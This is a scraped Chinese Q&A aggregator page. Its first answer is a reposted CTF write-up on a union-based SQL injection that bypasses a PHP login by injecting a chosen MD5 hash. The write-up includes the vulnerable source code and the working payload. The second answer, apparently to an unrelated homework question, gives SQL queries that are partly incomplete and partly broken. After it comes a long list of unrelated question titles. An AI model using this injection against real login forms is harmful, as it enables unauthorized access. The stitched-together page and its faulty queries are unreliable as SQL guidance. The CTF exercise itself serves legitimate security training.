问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

一道SQL的题目:

发布网友 发布时间:2022-04-11 02:05

我来回答

2个回答

懂视网 时间:2022-04-11 06:26

技术图片


  一看有源码,必须马上点击Source,真香……

 技术图片

技术图片

 

 

  思路还是很清晰的,提交用户名参数和密码参数,拼接sql查询语句,密码的md5值和用户名对应记录的密码一致,则输出flag。显然我们也不知道username值可能是啥,sql注入实锤了,在username字段做写文章。

  首先就是sql语句的拼接,闭合左单引号然后右单引号注释掉。中间用union联合查询让我们传入的password的md5值顶替对应pw字段。

  可以搭建环境测试一哈:

 1 <html>
 2 <head>
 3 <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
 4 <title>Secure Web Login II</title>
 5 </head>
 6 <body bgcolor="BurlyWood">
 7 
 8 <?php
 9 $dbuser = ‘root‘; //SAE_MYSQL_USER
10 $dbpass = ‘root‘; //SAE_MYSQL_PASS
11 $dbname = "dvwa"; //SAE_MYSQL_DB
12 $host = ‘localhost‘; //SAE_MYSQL_HOST_M
13 if (@$_POST[‘user‘] && @$_POST[‘pass‘]) {
14 $con = mysql_connect($host, $dbuser, $dbpass);
15 mysql_select_db($dbname, $con) or die("Unable to connect to the database: $dbname");
16 $user = $_POST[‘user‘];
17 $pass = md5($_POST[‘pass‘]);
18 echo "username:$user<br/>";
19 echo "password:$_POST[‘pass‘]<br/>";
20 echo "password after hash:‘$pass‘<br/>";
21 echo "select password from users where user=‘$user‘<br/>";
22 $query = @mysql_fetch_array(mysql_query("select password from users where user=‘$user‘"));
23 echo "query of password:" . $query[‘password‘] . "<br/>";
24 if (($query[‘password‘]) && (!strcasecmp($pass, $query[‘password‘]))) {
25  echo "<h2>Logged in! Key: ntcf{php_is_best} </h2>";
26 } else {
27  echo ("<h2>Log in failure!</h2>");
28  }
29 
30 }
31 ?>
32 <form method=‘post‘ action=‘index.php‘>
33 <h3>username:</h3><input type=‘text‘ name=‘user‘ value="">
34 <h3>password:</h3><input type=‘password‘ name=‘pass‘ value="">
35 <input type=‘submit‘>
36 </form>
37 </body>
38 </html>

 

  这里白嫖dvwa数据库的users数据表,来模拟源码里面的数据库和数据表,因为密码刚好存储的是md5加密后的值:

    技术图片

 

 

  我admin用户对应的密码是123456的md5值。输入正确的值:

技术图片

 

 

   构造payload先在数据库一试: (1 的md5是c4ca4238a0b923820dcc509a6f75849b)

‘ union select ‘c4ca4238a0b923820dcc509a6f75849b‘#

   技术图片

 

 

   技术图片

  注入成功

技术图片

 

 

 

  # 是数据库的注释字符,后面的单引号其实起不到作用。

  因此实际数据库接受到的语句是:

select password from users where user=‘‘ union select ‘c4ca4238a0b923820dcc509a6f75849b‘#‘;   

  它等同于查询:

select password from users where user=‘‘ union select ‘c4ca4238a0b923820dcc509a6f75849b‘;   

  即在username输入:‘ union select ‘c4ca4238a0b923820dcc509a6f75849b‘#

  password输入:1    点击提交查询

    技术图片

 

done

 

 

 

 

 

 

 

 

码南邮CTF一道简单的sql注入题目

标签:mit   log   body   接受   输入   size   The   array   index   

热心网友 时间:2022-04-11 03:34

1. select sno,sname from s,c,sc where s.sno = sc.sno and c.cno = sc.cno and c.cname = 'MS'

2. select sno,sname from s,c,sc where s.sno = sc.sno and c.cno = sc.cno and c.cname in ('C1','C3')

3. select sno,sname,age from s where age >= 18 and age <=20 and sex='女'

4. select sno,sname from s,c,sc where s.sno = sc.sno and c.cno = sc.cno (全部课程不知怎么取)

5.select sno from s,c,sc where s.sno = sc.sno and c.cno = sc.cno
and s.sno and sno exisit (
select cno from sc where sno = '1042')
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
分形有什么 江苏省教育科学"十二五"规划课题经费是多少 全国教育科学"十二五"规划教育部规划课题有用吗 全国教育科学"十二五"规划是教育基础课题吗 ...女人,但是他表面对我很好,我抓不住他任何证据,这难道是我太闲了想... 总是怀疑老公对别的女人好怎么? 为什么日久生情的通常是女人? 为什么日久生情在女性中更为常见? 什么是日久生情?女生容易日久生情吗? 为什么日久生情的人多是女性呢? 得了失眠无锡哪家医院可以治疗? 无锡新区黄山路8号 吃药治疗抑郁症能行吗 关于无锡人民医院体检问题。 无锡医院哪家治灰指甲好 注销火影账号,其他游戏会受到影响吗 我昨天注销了王者号 我把游戏也删除了会影响注销吗? 王者荣耀撤销注销账号之后对游戏数据有影响吗? 一号玩家账号注销后会影响游戏吗? 家里监控为什么黑屏显示请检查网络设置 小白求问电脑问题? 请问各位大神,网络监控录像机会时不时出现用着用着就突然黑屏,然后重启就好了这啥问题啊?求解答? 监控显示黑屏找不到网络主机怎么回事 监控黑屏但显示IP地址 关于一道 SQL题目 tellsth to sb 怎么造句 类似tell sth. to sb. 的短语是双宾语吗? 我们老师说 有tell sb sth 但tell sth to sb 不成立 (除非固定搭配 tell a story),对吗? 有“tell to sb.”这个短语吗? 有tell sth. to sb. 的说法吗? 孙悟空的真身究竟是谁 孙悟空是谁! 孙悟空是谁的化身和什么的代表 孙悟空到底是谁? 孙悟空是谁生的 孙悟空的第一个是谁 早晨起来嘴苦是怎么回事? 早上起来嘴发苦是怎么回事 求问一道SQL题目,急~ ...可以设置成个人喜欢的歌曲吗?如果可以怎么设置?谢谢! 发生火灾时,如果是在公共场所,怎么逃生 《当火灾发生时,公共场所或家庭如何逃生》 刚学数据库,遇到一道关于数据库sql语句的题目,实在不会,请高手帮忙解答一下,谢谢! 为什么我现在一点也不想处对象啊,前几天家里给我介绍了一个,但是从来都没有主动找过他,每天在微信上聊 我不想找对象是什么原因? 为什么单身越久越不想找对象呢? 22岁不想找对象正常吗? 单身习惯了,为什么不想找对象了? 为什么现在很多人不愿意找对象? 为什么不找对象